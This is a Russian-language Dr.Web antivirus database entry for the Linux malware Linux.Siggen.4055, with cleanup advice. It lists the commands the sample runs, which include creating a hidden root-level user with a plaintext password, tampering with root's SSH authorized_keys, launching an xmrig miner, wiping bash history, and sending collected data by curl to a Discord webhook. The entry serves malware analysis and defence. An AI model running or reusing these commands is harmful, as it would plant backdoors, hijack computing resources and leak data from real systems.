Поддержка
Круглосуточная поддержка

Позвоните

Бесплатно по России:
8-800-333-79-32

ЧаВо | Форум

Ваши запросы

  • Все: -
  • Незакрытые: -
  • Последний: -

Позвоните

Бесплатно по России:
8-800-333-79-32

Свяжитесь с нами Незакрытые запросы: 

Профиль

Профиль

Linux.Siggen.4055

Добавлен в вирусную базу Dr.Web: 2021-07-19

Описание добавлено:

Техническая информация

Для обеспечения автоматического запуска и распространения:
Создает или модифицирует следующие файлы:
  • /var/spool/cron/crontabs/root
Вредоносные функции:
Получает доступ к ключам SSH
  • /root/.ssh/authorized_keys
Управляет службами:
  • systemctl enable myservice
Запускает процессы:
  • /bin/bash <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
  • <SAMPLE_FULL_PATH>
  • /bin/bash <SAMPLE_FULL_PATH> -c
  • /usr/bin/curl -s -connect-timeout 4 -m 4 ifconfig.me
  • rm -rf *timeout
  • whoami
  • date +%m/%d/%Y
  • mkdir /var/tmp/.ladyg0g0/
  • id -u
  • sleep 0.5
  • cat /var/tmp/.ladyg0g0/.pr1nc35
  • chmod 777 xmrig
  • grep -q cacar
  • cat /etc/passwd
  • /usr/sbin/useradd -u0 -g0 -o -s /bin/bash cacar
  • nscd -i passwd
  • nscd -i group
  • usermod -aG sudo cacar
  • yes Cacar12mocangeala
  • passwd cacar
  • mkdir /usr/.SQL-Unix
  • mkdir /usr/.SQL-Unix/.SQL
  • uname -a
  • chattr -i /root/.ssh
  • chattr -i /root/.ssh/authorized_keys
  • chmod 600 /root/.ssh/authorized_keys
  • chattr +i /root/.ssh/authorized_keys
  • /usr/bin/curl -H Content-Type: application/json --data @/tmp/.send.json https://discord.com/api/webhooks/840910860561285160/iQ3JiaVqXM-mPe8n29NCHt5dAAYhbAxMrQQ8hnS4YeNSGCQn3xsDdtfcfHCV4mrPqX3J
  • grep -q .black
  • crontab -l
  • rm -rf /root/.5p4rk3l5
  • sleep 1
  • crontab /root/.5p4rk3l5
  • rm -rf /root/.bashrc
  • rm -rf /root/.bash_history
  • chmod 777 /root/.b4nd1d0
  • /root/./.b4nd1d0
  • pgrep -x xmrig
  • /root/./xmrig
  • bash -c yum install -y rsync >/dev/null 2>&1 & disown
  • cp -avr /root /usr/bin/.locatione
  • chmod 777 /usr/bin/sshd
  • chmod 644 /lib/systemd/system/myservice.service
Выполняет операции с файловой системой:
Модифицирует права доступа к файлам:
  • /etc/passwd+
  • /etc/shadow+
  • /etc/subuid+
  • /etc/subgid+
  • /etc/group+
  • /etc/gshadow+
  • /etc/nshadow
  • /var/spool/cron/crontabs/tmp.djrzjN
  • /root/.b4nd1d0
  • /usr/bin/sshd
  • /lib/systemd/system/myservice.service
Создает папки:
  • /var/tmp/.ladyg0g0
  • /usr/.SQL-Unix
  • /usr/.SQL-Unix/.SQL
Создает символические ссылки (симлинки):
  • /etc/passwd.lock
  • /etc/group.lock
  • /etc/gshadow.lock
  • /etc/subuid.lock
  • /etc/subgid.lock
  • /etc/shadow.lock
Создает или модифицирует файлы:
  • /var/tmp/.ladyg0g0/.pr1nc35
  • /usr/bin/.locatione
  • /etc/.pwd.lock
  • /etc/passwd.730
  • /etc/group.730
  • /etc/gshadow.730
  • /etc/subuid.730
  • /etc/subgid.730
  • /etc/shadow.730
  • /etc/passwd-
  • /etc/passwd+
  • /etc/shadow-
  • /etc/shadow+
  • /etc/subuid-
  • /etc/subuid+
  • /etc/subgid-
  • /etc/subgid+
  • /etc/passwd.735
  • /etc/shadow.735
  • /etc/group.735
  • /etc/gshadow.735
  • /etc/group-
  • /etc/group+
  • /etc/gshadow-
  • /etc/gshadow+
  • /etc/nshadow
  • /usr/.SQL-Unix/.SQL/.db
  • /root/.bashrc
  • /root/.bash_profile
  • /tmp/.send.json
  • /root/.5p4rk3l5
  • /var/spool/cron/crontabs/tmp.djrzjN
  • /root/.b4nd1d0
  • /usr/bin/sshd
  • /lib/systemd/system/myservice.service
Удаляет файлы:
  • /root/*timeout
  • /etc/passwd.730
  • /etc/group.730
  • /etc/gshadow.730
  • /etc/subuid.730
  • /etc/subgid.730
  • /etc/shadow.730
  • /etc/shadow.lock
  • /etc/passwd.lock
  • /etc/group.lock
  • /etc/gshadow.lock
  • /etc/subuid.lock
  • /etc/subgid.lock
  • /etc/passwd.735
  • /etc/shadow.735
  • /etc/group.735
  • /etc/gshadow.735
  • /root/.5p4rk3l5
  • /root/.bashrc
  • /root/.bash_history
Прочее:
Собирает информацию о CPU
Собирает информацию об оперативной памяти

Рекомендации по лечению


Linux

На загруженной ОС выполните полную проверку всех дисковых разделов с использованием продукта Антивирус Dr.Web для Linux.

Демо бесплатно

На 1 месяц (без регистрации) или 3 месяца (с регистрацией и скидкой на продление)

Скачать Dr.Web

По серийному номеру